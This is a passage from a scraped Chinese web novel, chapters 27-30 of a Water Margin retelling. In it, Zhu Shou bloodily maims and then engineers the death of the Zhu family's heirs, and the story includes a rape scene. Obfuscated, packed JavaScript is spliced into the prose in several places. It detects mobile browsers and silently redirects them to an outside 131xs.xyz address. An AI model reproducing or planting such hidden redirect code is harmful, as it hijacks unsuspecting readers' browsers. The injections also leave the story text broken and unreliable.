听了祝龙的狂言,一众衙役心里不岔,可脸上却都是一副推崇的样子。 祝龙虽然狂,但他有钱,那他说什么都是对的。 “大公子威震山东,一把钢枪横推东平无敌手。” “什么妖魔鬼怪来了也没用。” 各种吹捧扑面而来,祝龙很快就飘了。 他平素飞扬跋扈惯了,在独龙岗就是小霸王,无人敢惹。 祝龙被吹捧得开心了,他当即吩咐随从道: “拿些酒肉来,一众兄弟辛苦了,今天,祝某慰劳诸位了。” 酒肉摆开,一众衙役眉开眼笑,他们太喜欢这个地主家的傻儿子了。 虽然这家伙有时候霸道,脾气暴躁易怒,但是他给好处也是实在的。 吃了一会酒肉,都头问道:“大公子这次来是有什么生意啊?” 祝龙嘴角上扬,摇摇头说道:“也不是什么大生意,就是就是送些山货进来,顺带替家父打听些事情。” “呼~好热!”祝龙呼出一口热气,扒拉起自己的衣甲。 大宋严禁私人藏甲,可凡事都有漏洞。 祝老爷子给三个儿子都捐了官,祝龙官面上也是一个厢军都头。 虽然手底下没兵,但那也是有身份的官爷。 他外面罩着一件鱼鳞甲,里面还有穿了一件布甲。现在他喝了不少酒,又烤着火,他只觉浑身燥热。 “阿四,帮洒家解甲。”祝龙说道。 “少爷,最近东平地界不太平,再穿会吧,马上就进城了。” “哼~谁敢抢我们祝家,在这东平绿林谁敢不给我家面子?” “还是穿上吧,大公子,我等把这火灭了,就不热了。” 一众衙役也跟着劝道,灭了火又劝了好一会,祝龙方才消停下来。 “不好,敌袭!” 一声嘹亮的呼喊划破了众人喝酒吃肉的欢乐氛围。 祝龙立马提起枪来,往前走。 “直娘贼,太岁爷头上动土,活腻歪了!”祝龙骂骂咧咧地往前走。 湖边停着四五艘船,五十余人披着皮甲拎着兵器站在湖边。 站在最前面的正是最近凶名赫赫的三只眼。 那庞大的身躯上罩着一件熊皮大袄,一柄重锤拖在地上。 衙役们吓得腿软,徐徐后退。 都头鼓起勇气说道:“二郎神~真君爷爷,小的们早听说您的威名,知道您从不为难平民百姓……” 还不待都头说完,祝龙一把推开他,上前说道:“装神弄鬼,洒家倒要看看你有什么本事?” 祝龙从小横行霸道,在东平府内就没遇到过对手,知府换了一任又一任,可来了以后都和他爸称兄道弟。 黑白两道,祝龙不知道谁敢惹祝家。 祝龙横枪,身后几十个家丁围上来。 他的家丁众多,人数上不差,平常日日操练,他今天就不信这邪了,非要和这些家伙碰一碰。 “**这些撮鸟,杀一人赏钱二十两,给我上!”祝龙大喝一声,提枪往前冲去。 第27章 真君显圣,斩妖除魔 “啊!吃你祝爷爷一枪!” 祝龙的枪法是经过名家指点的,又苦练多年,枪法锐利。 “铛~” 重锤砸在**之上,一锤将其轰退。 祝龙只感觉枪杆上传来一股子怪力,双手震得发麻。 可他不信这个邪,自负枪法过人,非要挑了这个真君。 “铛铛铛~” 剧烈的交锋打得祝龙节节败退,枪杆不断被砸弯。 祝家一众庄客上前帮忙却被那些皮甲武士拦住,双方杀得昏天地暗。 “咔嚓~”又是一记重锤,将那枪杆砸断了。 砸断**后,重锤落在祝龙的身上,将其砸飞。 鱼鳞甲被砸得鳞甲翻飞,祝龙一口鲜血吐出。 都头连忙上前扛起祝龙转身就跑。 真君欲追,祝家的庄客拼死阻拦。 面对这些庄客,真君那是一锤一个。 庄客们却是悍不畏死,**式葬身于锤下。 真君眉头微皱,左脚后撤半步,拉出空间,右肩半转,轮起金瓜锤一个大回旋。 “邦邦邦~”锤声如敲瓜炸豆,一连爆开四五个脑袋瓜子。 接连几个大回旋,真君把身前战场清空以后,只见祝龙已经被驮在马上飞驰而逃。 真君低沉地说道:“拿洒家弓来!” 身后的皮甲小卒忙递来一把三尺余的长弓和两支重箭。 真君张弓搭箭,数息间,弓如满月,箭在弦上,三点成线。 “嗖~”箭如流星,一闪而过,以毫厘之差贴着祝龙的脸庞飞过。 逃亡的十余名衙役吓得魂飞魄散,身受重伤的祝龙更是吓得面白如纸。 真君却是很快又搭上第二支箭,弓如霹雳弦惊,瞬息再发。 这一箭直指祝龙屁股以下,相比较面门,这里目标可就大多了。 “嘶~”祝龙倒吸一口凉气,全身抽搐起来,两眼翻白晕了过去。 一旁的都头眼疾手快,一把将险些**的祝龙捞了过去,放在马鞍上。 只见祝龙两腿之间插着一根箭矢,血流不止,布裆上满是血迹。 后方的战场上祝家庄客家丁已**得一干二净。 这些庄客家丁确实堪称死士,个个悍不畏死,可见祝家调教得很用心。 其中想来有不少祝氏宗族子弟,以血缘为纽带的子弟兵向来以忠诚悍猛著称。 “这祝家还挺有货的啊?” 大和尚打开了祝家丢下的货物,将上层的土特产掀开以后下面都是白花花的银子。 “带走带走。” 真君挥舞着手中的重锤下令让众人快些搬。 大胖和尚一边对着祝家庄客家丁补刀,一边问: “哥哥你说祝家哪来的那么多银子?他家维持着几千号人练武,又置办那么多甲械兵器,还得上下打点……” 显然大胖和尚想不通一个祝家庄哪来的那么多钱。 “那独龙岗位于京东东路的咽喉之地,来往商贾谁不给他家份子钱? “独龙岗上面良田万亩,他家粮食又充沛,供养几千精壮汉子练武毫无负担。 “这些是明面上的,暗地里还帮大人们料理些江湖上的事。那祝朝奉也是一个人杰,分寸向来拿捏得好,活该他家发达。” 听真君说完以后,大和尚笑了起来。 “哈哈哈哈,他祝家那么厉害,敢找哥哥的茬,兄弟们照样给他连根拔起。” 真君没有说话,其实就算祝家没有招惹他,想要把梁山发展起来也必定要铲除祝家庄。 他没有宋江那么虚伪,做什么都要找个假仁假义的幌子。 其实对付祝家庄理由很简单,山东绿林霸主只能有一个,新势力崛起必然要干掉旧势力,不然利益只有那么多,不够分。 至于对付祝家,他是一点道德负担没有。 原著里对祝家三兄弟的描述是“据庄称雄,飞扬跋扈”,简称恶霸。 吞并这些恶霸豪强的基业发展势力,对于朱寿这种枭雄来说,才是真的爽。 ----------------- 夜晚下,东平府衙门里烛光闪烁。 一众官员坐在里面,除了本地官员还有虎翼军将官。 “诸位,最近梁山出了大寇,百姓们苦不堪言啊,本府找诸位来想想办法,如何解决这个祸害。” 知府大人首先开口,坐下的官员们才是真的苦不堪言啊。 他们家中都有些买卖在,现在买卖被盯上了,如何是好啊。 “大人,董某是有心报国的,只是厢兵的兄弟们军饷连去年的都还没发,粮草也不够,兵甲失修多年,这没钱怎么打仗啊?” 董平率先跳出来,一口气讲完然后双手一摊,反正就两个字“没钱”。 “哼~董一撞,那你说说该怎么办?”知府吹胡子瞪眼地说。 董平生性暴躁勇猛,马战凶悍无比,在军中有个“董一撞”的称号,知府此时叫出来则有斥责他鲁莽的意思。 “洒家觉得要想搞定梁山大寇还得靠虎翼军的猛士们,你说是吧,朱将军?” 朱寿缓缓说道:“诸位是知道的,之前也被梁山泊贼寇劫了一批马,朱某对其也是恨之入骨。只是禁军职责所在,不能贸然调动。” “确实如此,依张某看,知府何不组织城内大户捐派银两,再整肃府库,清点兵甲,查证军饷?” 张叔夜提出建议,作为一个文物全才,他对一府军政是非常熟悉的。 在他看来,程**这个知府太不称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582758|171597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职,把一府武备松弛到这个程度,连几个梁山泊小贼都搞不定。 程**有些尴尬地附和道:“嵇仲好主意,只是还需从长计议,从长计议啊!” 张叔夜现在虽然被贬做了一个武官副职,可他是进士出身,又出身清贵士族,程**对上他,总有些心虚。 众人商谈了大半夜,也没谈出一个确定的章程。 无非就是一众官员舍不得出钱,更说服不了城中士绅全部出钱。 最后张叔夜提议联系隔壁东昌府一起剿匪,毕竟有几次遭遇梁山大寇是在两府大湖交界处。 此计最后也难实现,毕竟东昌府损失很小,而且跨境办案很麻烦。 散场时已是午夜,朱寿伸了一个巨大的懒腰,只想快点补觉。 “现在已是宵禁时分,城门已经关了,诸位不如留宿府衙,这里倒是有几间空余房间。” 知府一副老好人的样子说道。 朱寿等人欣然接受。 安排众人住下以后,程**对着都头使了一个眼色,都头点点头退了出去。 程**揉了揉太阳穴,很是苦恼。 最近梁山泊大寇闹得凶,害得他钱财赔了不少,更烦人的是今年朝廷的考核,他要凉了,毕竟这么大的事遮掩不下去了。 昨天傍晚,那可怜的祝大公子不仅被**,还被贼人射爆了蛋蛋。他要怎么给好友祝朝奉一个交代啊,毕竟人家是来送礼的。 作为官场千年的老狐狸,他会把人往最坏的地方想,心中已有了几个怀疑的人选。 天将破晓时,几个皂衣小吏跑进了府衙。 刚刚闭上眼睡了一小会的程**又被吵醒了。 “什么事?” “大人,梁山大寇又出现了,刚刚抢了通判大人的货。” “怎么会?不是已经增加了一个营的兵力了吗?” “那真君和大和尚太猛了,兄弟们挡不住啊。” “真君?这是什么时候的事?” “半个时辰前,兄弟们扎营这次扎在村落附近还是没扛住。” 程**想了想,说道:“把王都头叫过来。” 不一会班头就过来了,程**问道: “将军们睡得可好?” “将军们一觉睡到现在,倒是张大人起了……” 程**听到这,眉头微皱,心想可能真是自己想错了,现下这个世道豪杰四起,到处都是强人,可能真是自己运气不好碰上了。 想了半晌想不通啊,程**决定出去走走。 出了门,程**逛了一会,突然听到不远处有童谣声。 “**郎,三只眼,斗恶霸,分金银……” 等他走进一听,脸色微变。 “……真君显圣,斩妖除魔!” 第28章 青天大老爷 “吸溜~” 十几条大汉围在一张桌子前吃着热气腾腾的面。 坐在首座的是一个壮硕威猛的年轻人,嘴上有一道浅浅的疤哼。 年轻**口大口嘬着面,吃得差不多了,直接抱起碗连着汤汁臊子一股脑地喝下。 “好吃,有赏!”年轻人摸出一把银子拍在桌上。 店家和他们倒也是熟人了,连忙腆着一张笑脸走过来感谢贵客。 “小的谢过虎爷了。” 他的手刚刚伸到银子面前,突然被摁住。 “老陆,我们认识多久了?” 被称为“虎爷”的年轻人问道。 陆掌柜满脸陪笑道:“四年多了,虎爷每次来城里办事都光顾小的生意,是我家的衣食父母啊。” 对于“虎爷”,他是真不敢得罪,这是祝家庄的二公子,有钱有势,武艺高强。 “那既然洒家是你家的衣食父母,那你们全家是不是应该出来感谢感谢洒家啊?”祝虎添了添带疤的嘴说道。 “这……小的家,父母早逝,只有小的和婆娘相依为命,我那婆娘在干活,满身臭汗,就不唐突公子了吧。” “哼~说的什么话,你小子从来不尊重洒家。这么多年了,让你婆娘出来感谢感谢洒家,却百般推脱。” 祝虎一把拍在桌上,碗都被拍翻了。 “小的不敢!”陆掌柜前倨后恭地道歉,屁股恨不得翘到天上。 旁边几桌的客人跟着起哄,十里八乡的人们谁不知道这家店的老板娘叫“面条西施”。 多少人来这吃碗面就是为了一睹“面条西施”的容貌,只是“面条西施”却一般不出来都是在厨房干活。 偶尔有人见到,那都是说韵味十足。 现在大家一看有机会一睹真容了,无不起哄。 “是啊,陆掌柜让你家娘子出来给大伙见识见识嘛,又不会掉两斤肉。” “陆掌柜别小气了,让大家康康,没事的。” “……” 人们总是喜欢慷他人之慨。 祝虎低下头看着陆掌柜,低声道:“你也不想我发飙吧?” 没人可以不给他面子。 “二公子,别发火,妾身这就来给您敬酒赔不是了。” 一个风韵十足的女子从楼上走下来,女子样貌只是中上,但身材火辣,风韵十足。 祝虎看得眼前一亮,目光火辣。 女子因为一直揉面又面对高温,全身上下被汗水浸湿,一身衣物紧紧贴在身上。 其他桌的顾客看得吹起了口哨。 “虎爷,这一杯妾身给您赔罪了。”说罢,女子一饮而尽。 “好,再赏!”祝虎又往桌上砸了五两银子。 女子接过银子,满脸陪笑。 “知道爷为什么给你银子吗?”祝虎问道。 “虎爷心眼好,对我们恩重如山……” “那你怎么报答虎爷我?”祝虎邪魅一笑。 “啊~”女子尖叫一声,突然被祝虎一把拉到怀里。 “嘿嘿嘿~”祝虎满脸坏笑,一只大手上下其手。 其他桌的看客此时也看出端倪了,知道祝虎是要来荤的了。 大家都不想惹麻烦,连连退出酒楼。 “我入你娘!祝虎,你这人面兽心的家伙!尔母婢!” 看着祝虎糟蹋自己的老婆,陆掌柜暴跳如雷向前冲。 他刚迈开第一步,就被祝家的庄客们扑倒在地。 眼前的场景让陆掌柜撕心裂肺,双眼目眦欲裂,闭上眼睛以后,那**的声音依然不绝于耳。 “啊!杀了我吧!”陆掌柜惨绝人寰地叫着。 祝虎笑得更开心了,今天是个好日子,得好好庆祝庆祝。 女人被他一把推倒在桌上,祝虎开始解自己的衣服。 一番云雨之后,女人晕了过去,当着丈夫的面被如此羞辱,她已经崩溃了。 祝虎开始穿衣裳,顺带着又丢了两锭银子。 “赏你的,记得照顾好我们的马。” 陆掌柜像一堆烂泥一样无力地瘫倒在地。 祝虎一大群**摇大摆地往外走。 “二爷,咱们都走快些了,不然进不了城了。” 毕竟他们不是董平,没有兵马监的职权,是不能在城中骑马的,马得留在城外。 祝虎走路都带风,大哥祝龙听说被射中要害,已经废了。 以后万贯家业都是他的了。 自从听到这个好消息,他就一直很兴奋,刚刚享用了那村妇,发现自己真得很猛啊。 虽然他和大哥是手足兄弟,但事关万贯家业的继承,只能委屈大哥了。 嫡长子继承制下,家业主要给嫡长子,现在大哥废了,他就有机会了。 想想就很激动。 祝虎满脸笑容地走向城门,准备去看可怜的大哥。 一行人在夕阳下离开了这城廓小店,夕阳下他们的影子拉得很长。 陆掌柜看着他们离去的背影,牙都快咬碎了。 妻子醒了一直在哭,他也哭了。 他不明白自己老老实实地过活,日出而作,日落而息,为什么会经历如此惨剧。 一道矮小瘦弱的身影站在店门口,他的身影在夕阳下拖出一片长长的阴影。 “你也是来看我的笑话的吗?入**,都来欺负俺!真以为俺好欺负,大不了舍了这条命和你们拼了。” 陆掌柜用杯子、筷子去砸来人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582759|171597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是都被避开了。 “你连死都不怕了,还不敢报复祝虎吗?”小个子问道。 “报复尼玛,俺一个平头老百姓怎么和他们斗?”陆掌柜摇头道。 “哎~这话就不对了,你斗不过他们,有的是人能捏死他们。就是不知道你有么有胆子一起来了。” “有什么不敢的,只要能弄死那禽兽,俺舍了这条命也没事。” “那好办了,我带你去见当世包青天,弄死这些王八羔子。” 小个子眼里闪过一抹狡猾,没想到今天居然有这么大收获。 前几日,有探子回报说,独龙岗来了一批人马,哥哥叫他来看着他们。 不曾想居然看到如此大戏,禀报回去,哥哥肯定会对他一顿夸。 ----------------- 夕阳的营帐中,饭香四溢。 朱寿和几个燕云元从老将正在埋头干饭,王伦在一块木板上钉了五张画像。 “祝家现任家主是祝朝奉,此人很是厉害,认识不少知府知州,黑白两道都吃得很开。要想对付祝家,攻势要猛,趁其不备。” 王伦指着祝朝奉的画像介绍道。 从燕云杀回来以后,这个落魄书生成长了不少。 毕竟原著里他能把梁山山寨修起来,聚起一大堆人打得阮氏三雄捕鱼困难,能力是有的,只是肚量胸襟太窄。 现在历练下来,还是能做些事的。 “祝朝奉有三个嫡子,龙、虎、彪,三子勇猛无比。不过老大祝龙莽撞,老二祝虎极好面子,老三祝彪好勇斗狠。 “对付祝家要从他们三个身上下手,他们年少轻狂,是祝朝奉这只老狐狸身上的漏洞。” 众人听了都很赞同,朱寿投去赞许的眼神。 他和王伦私下讨论过对付祝家的思路,不过具体的情报还是王伦去搜集的。 “除此之外,祝朝奉还有两个庶出弟弟,其父去世后,两个弟弟就离家在外。此二人勇武过人,不过鞭长莫及,当下不需要担心。” “剩下的便是祝家教头,栾廷玉。此人乃独龙岗第一高手,祝氏三雄都是他调教出来的,一根铁棒打遍东平府无敌手。” 王伦刚刚说完,一个亲兵进来附耳朱寿耳畔说了两句。 “让他们进来。”朱寿吩咐道。 不一会,时迁与陆掌柜走进了朱寿大营。 看着坐上那个身形庞大的巨汉,陆掌柜有些紧张,又有几分安心。 “说,你有什么冤屈。我虽然不是城里的相公,但我最看不惯那些欺压良善的混蛋。” 陆掌柜泪如雨下,哭泣道:“青天大老爷,为我做主啊!那禽兽……” 第29章 这不欺负老实人吗? 皑皑白雪落满了程府,高大的屋檐下蹲着两条大黄狗。 相比起外面严寒,程府的书房里点着清香,靠窗的暖炉烘托着缕缕热气。 程**坐在太师椅上,喝着热茶。 三个贴心幕僚跪坐在软垫上,查着账。 “你们说,这次的事能好好收尾吗?”程**有些忧心地问。 “大人,不必担忧。以往赚钱向来如此,士绅豪族带头出钱,再向庶民收钱,事后再分庶民的钱。这次依照前例稍稍变通即可。” 一个幕僚自信地建议道,对于这种事,他们做得太多了。 程**却依旧愁眉不展,他总感觉这次有些不一样。 另一个幕僚看出知府有心事,立马宽慰道: “大人可是因为此次真要剿匪,担心剿匪不利?其实不必担忧,那祝家庄已经答应不仅给钱还会出人,祝家还是有几分勇武的。” 一直没说话的胖幕僚也出言宽慰:“祝家三雄勇武过人,栾廷玉更是枪棒冠绝山东。再说,我们还有董一撞,他打仗还是靠谱的。” 祝家帮历任知府解决过不少类似危机,解决得都不错,威望名声都不错。 听了众人的劝慰,程**不那么忧虑了,转而问道: “那此次你们觉得事后如何与各方分成?” 在确定了能打过以后,他开始思考怎么搞钱。 “这次祝家出力大,到时候士绅庶民捐完钱以后,祝家的钱如数奉还,剩下的分祝家三成。 “这一次要用到董一撞那个粗鄙武夫,还得分给他和厢兵两成,大人得剩下五成,至于府衙里的人,打赢了以后给点红包就成。” 胖幕僚献策道。 程**听后还是很满意的,不过转念又问道:“不分给通判会不会不太好?” “大人无需担心,这次通判也是受害者,大人帮他们解决隐患,他还得感谢你咧。而且他总是为难大人,现在任期也快到了……” 众人会心一笑。 话题聊开了以后,程**眉开眼笑,开始和幕僚们讨论起这次向士绅们收多少,向庶民收多少。 这里面讲究还是颇多的,虽然士绅更有钱,可不能多收;庶民虽然穷,但可以多多压榨。 份额定多少才合适,这得考虑民众的生活情况,不能影响今年年末的税收,这事关他在朝堂的业绩。 其实大宋官员还是非常了解百姓的生活情况的,他们并不想前朝那些一问三不知的无为之治的官员。 作为更加严格、公平的科举选**的官员,他们的能力更强。 而他能当到知府,能力更不用说了。 毕竟能力不强,怎么压榨百姓的油水。 “咚咚咚~”一阵急促的敲门声响起。 这群贪官污吏的眼睛里正冒着光,突然被打断,有些尴尬。 程**吸溜了一下口水,然后说道:“进来吧。” 大门被打开,寒风倒灌而入,真实的温度让这些饱学之士冷得一个激灵。 “大人不好了!出大事了……”小吏冲进来说道。 程**听得眉头一皱,怒斥:“说什么呢,本府好好的,哪不好了。” 小吏给自己一个大嘴巴子说道:“小的该死,是城南那些刁民不知发什么疯,把城廓那间酒楼围了起来,祝二公子被围在里面了。” “嘶~坏了!”程**一拍大腿,“早教那小子快点回去,不听老夫之言!快快备车,老夫亲自去!” ----------------- 城廓的酒楼被围得水泄不通,城外的村民们把酒楼里三层外三层堵死。 很多来凑热闹的村民好奇地问熟人发生了什么。 “这你都不知道?今天祝虎在陆掌柜这吃饭,吃了两碗面,就付一碗的钱。他耍横,好在朱将军今天休沐也在这吃,能惯着他?” “可那祝二公子那么有钱,他会付不起那一碗粉的钱?” “呵呵呵,这些公子哥耍浑耍惯了,没事找茬呗,就喜欢欺负我们这些平头老百姓。” “哦,这样啊。还好有将军为我等做主,只是这岂不是得罪了祝家,给将军惹上了麻烦吗?” “将军那是从燕云十六州尸山血海里杀出来的,能怕了祝家?” “……” 人们苦祝家久矣,可实力不济,弗敢怒也。 祝家远在独龙岗,可绿林势力遍布东平府,又常常往来府城,老乡们时常被欺负。 如今有人能收拾祝家他们自是一拥而上。 酒楼里挤满了人,一堆耄老之龄的老人坐在一排长凳上,朱寿大马金刀地坐在中间。 祝虎看着对面这么大的阵仗,心里也有些慌了。 他身后的家丁们都被拥挤的人群夹住了,人群里有人力气大得吓人,让他们脱不开身。 即使祝虎向来嚣张跋扈,可他也明白今天事大了。 在乡土社会里,这些耄老之龄的老头在乡里威望很高,比保正、押司的话还管用。 他们往那一坐,乡间公审的驾驶就摆出来了。 “二公子,你吃了两碗面,就给了一碗的钱。”朱寿大声说道。 当着这么多人的面,祝虎有些挂不住脸,当即反驳:“放屁!我就吃了一碗面,给了他一碗的钱!” “他吃了几碗?”朱寿转头问陆掌柜。 “两碗!” “好!这天底下,吃饭给钱,天经地义。洒家一介武夫不是什么学富五车的相公,就知道一件事:路遇不平,拔刀相助!” 朱寿的声音越来越大,堂中众人都看着他。 “洒家今天就做一件事,公平!给他应有的公平!” 朱寿站起身子,庞大的身躯带来一片巨大的阴影,笼罩向祝虎。 “对!” 众**声附和,有人是久逢不公,有人是凑热闹,有人就是收了钱来办事的。 祝虎涨红了脸,脑子一热就往前冲。他习惯了依靠自己的勇武解决问题。 一个箭步前冲,祝虎抬起右拳直捣朱寿的面门。 “啪~” 一个响亮的耳光回荡在大厅里,朱寿那蒲扇般的巴掌狠狠抽在祝虎的脸上,将他抽得晕头转向。 祝虎只感觉一个炸雷在自己耳畔响起,然后一阵天旋地转,耳畔一直在耳鸣。 “耍横是吧,你能有契丹人横?爷爷杀契丹人跟杀鸡一样,敢跟爷爷耍横,给你脸了是吧?” 朱寿步步紧逼,吐沫星子四溅,喷得祝虎连连后退。 祝虎捂着肿胀的脸,红着眼说道:“我今天就吃了一碗面。” 朱寿摇了摇手指,然后说道:“不不不,你给了一碗的钱,但吃了两碗面。哦,洒家懂了,没钱是吧,洒家帮你给!” 众人一阵欢笑,人们很喜欢看到不可一世的公子哥吃瘪。 祝虎已经气得七窍生烟了,打又打不过,说有说不赢。从小到大,他第一次遇到这样的窘境。 以前都是他欺负别人,今天却被人给弄了。 他连忙拿出一把钱撒在地上,然后转向四周,对着人群喝道: “看到没,多少碗,我都付得起。” 面对他的盛怒,人群里有嘲弄的眼色,有戏虐的眼色,有毫不在意的眼神。 他不明白几天前还只敢跟着他起哄看“面条西施”,一个眼色就被吓跑的人群,为什么现在敢嘲讽他。 “这么多钱,他到底吃了几碗面啊?你早说不就得了吗?” 朱寿看着地上的钱,歪着头说道。 祝虎无法忍受这般羞辱,又干不过朱寿,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“贤侄啊,你怎么搞成这份模样了?”知府跑到祝虎身旁,关心道。 祝虎面如死灰,使劲推开知府,看着众人道:“拿碗来!” 一只碗被放在他身前,他把那热气腾腾的面拿出来放在碗里。 知府在一旁看得连连作呕。 祝虎最后放了一整碗,双眼红胀着看向陆掌柜和朱寿。 “到你了,”说完,祝虎又看向人群,声嘶力竭地喊:“该你们了!” “哎哟,贤侄别叫了!快传郎中啊!”知府扶住他。 陆掌柜拿起祝虎抛下的刀,突然被朱寿一把摁住。 “吃进肚子里的面那还能是原来的面吗?”朱寿嘴角勾起,眉梢上挑地问道。 此言一出,祝虎一口鲜血吐出,眼睛一闭,再没了气息。 知府气得一甩袖子,然后说道:“把**的人都抓起来!” “慢着!”朱寿喝住衙役,随即道:“谁**了?吃饭给钱,天经地义!他吃了两碗面只给了一碗的钱,公理何在?” 朱寿继续说道:“他耍横,自己捅得自己,这个过程父老乡亲都可以作证。知府大人,真没人**啊!我们可以回衙门对簿公堂。 “今天这案子,包青天来了都得判这小子赔钱!” 知府一时间无言以对。 “是啊,我们都可以帮陆掌柜作证,是这祝家的小王八蛋自己捅得自己!”几个耄老之年的老人家站起身来,知府赶忙去扶。 他可不敢把这些老头弄去衙门里拷问,不然御史的折子能把他喷死。 等众人在朱寿的带领下像彩排过一般熟练地前往衙门,知府微微叹了口气。 看着祝虎躺在地上的尸体,知府摇头道:“哎!你小子不想当好人,做坏人又不够坏,你不死谁死!” 第30章 公平 这一夜风很大,北风卷地百草折。 衙门里青烛灯火摇曳,人影绰绰。 今晚很多人被迫加班,衙门三班六房每一个人敢闲着。 祝家庄的二公子**,那可是独龙岗祝家庄啊。 明面上那是本府富甲一方的大财主,在这东昌府里多少商贾指着他家过日子;绿林道上那是名震山东的大势力,谁敢不给面子。 王都头在衙门里干了二十年了,这其中的猫腻早就看明白了。 可这一次他真有些看不懂了,祝家是东平府的支柱级势力,有句话叫“流水的知府,铁打的祝家”,这话没多人敢说,可话在理。 祝家的关系,没人说得清上面到底通到哪。 然而短短十天,祝家长子被废,次子**。 这是要变天了啊。 王都头怀着忐忑的心理走进知府大人的书房。 “查得怎么样了?”知府抬着茶杯问道,杯子上冒着滚滚热汽。 “所有口供都差不多,确实是祝虎自己把自己捅死的。”王都头回道。 “嗯,朱寿这小子不动则矣,一动就要把这天搞出一个大窟窿啊。”知府叹息道。 “你带大家伙下值吧,待会再去喝点茶,账挂我府上。”知府示意他退下。 王都头走了以后,知府踹了踹身旁犯困的胖幕僚。 “大人,何事?”胖子一边擦着口水,一边问。 “快把之前让董平剿匪的文书拟好。” “出了这档子事,还剿匪啊?”胖幕僚惊讶地问。 “当然得剿啊,现在局势已经乱了,我们不能再这么被动了。”知府老麦昏聩的眼中绽放出夺目的精明。 “文德,祝朝奉你帮我写一封书信,好生安抚他。祝家庄的力量还是很关键的。”知府对另一位幕僚下令。 这一刻,他好像又变成了当年那个精明能干的偏远地区知县。 青烛燃尽了,火光暗淡,很快又换上了一根新烛。 ----------------- “将军,为何要杀祝虎?” 气愤的质问声在大帐中响起,张叔夜正严肃地质问朱寿。 “叔夜可别凭空污人清白?他分明是**!” 朱寿一脸无辜地瘫着手说道。 “你是不是想帮陆掌柜出口气,这虽然是出于好心,可国有国法,家有家规……” 张叔夜有些头疼地说道,下午他刚从东昌府回来就听说了祝虎之死。 今天张叔夜运道不太好,在东昌府提出联合剿匪被拒绝,回来又出了这样的事。 “叔夜觉得祝虎这样的人该不该死?**他**女,飞扬跋扈,欺负老实人……他可不是初犯了。” 朱寿打断了张叔夜,双眼中满是正气。他太懂看人下菜了,对于张叔夜这种忠直之士,就得用正义来压到正义。 “那也不能用下作的手段,法理不可不守。” 张叔夜是一个规则捍卫者,他不希望允许有人去破坏规则。 “你可以帮他去对簿公堂,没必要这般极端啊!” 听着张叔夜的话,朱寿心里很是不忿,儒法礼制那套读多了,人都读傻了。 朱寿摆出义愤填膺的样子说:“对簿公堂?那祝家权势过人,东平府里沆瀣一气,公道何在?” “还有那陆家娘子现在已经备受非议,如果去了公堂之上,你以为她能证明自己的名节?” 这个世道虽然还不像明朝理学极端化以后那般夸张,但是已经初见端倪。 张叔夜被朱寿一连串的问题问得哑口无舌。 想了一会,张叔夜才说道:“可你这样不仅给自己惹了麻烦,陆掌柜只怕也会惹上官司。” 朱寿淡定地说道:“官司我帮他打,不管那祝朝奉有多神通广大,这事洒家管定了!” 对于祝朝奉的关系网,朱寿等人已经有了清楚的分析。 祝朝奉主要的关系网还是在东平府的官府里,这些年做事也都是靠衙门里的官员帮衬。 至于更深的关系,他确实在大宦官杨戬那有些眼缘,但关系有限。 对于杨戬那种权势的人,帮他做事的人多了,祝朝奉还没那么大的脸。 这个世界就是一个巨大的草台班子,祝朝奉就地方上的一个草头王,能有啥子后患。 看着朱寿眼中的坚定,张叔夜也不好再说什么。 在张叔夜眼里,朱寿就是一个冲动莽撞的燕云绿林豪杰,没什么坏心眼,只是对大宋律法不熟悉,才会做错一些小事。 张叔夜也是看不惯祝家庄的,作为大宋纯臣,对这种藏甲、训练私兵的地方绿林势力是很想打击的。 只是这种势力一直徘徊在大宋律法的边缘,让张叔夜不好动手。 朱寿现在惩戒了这些人,他在心里还是有些偏向朱寿的。 张叔夜见气愤有些冷落,当即说道:“下不为例,将军以后再类似事情可以和某详谈,某亦有扶弱锄强的决心。” “嵇仲,我们一起扫荡大宋官场、外破强贼,终有一天我等一定能让大宋强盛清明,小弟为此不惜肝脑涂地!” 朱寿抓住张叔夜的手,信誓旦旦地说。 “肝脑涂地!”张叔夜有些动容地握紧朱寿的手,只觉得自己以前防备朱寿实在不是君子所为。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582761|171597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>----------------- 宜春院的楼很高,又临近城西郊外,风景不错。 李瑞兰摇着销魂的腰肢走进房间,对着窗边看风景的男人唤道: “大郎,来吃饭了。” 男人身材均称强健,身上纹着九条龙,样貌俊朗。 “你呀每次就陪人家那么几天,然后又要走,真是无情啊!” 李瑞兰横卧在男人广阔的胸前,轻轻拍了两下。 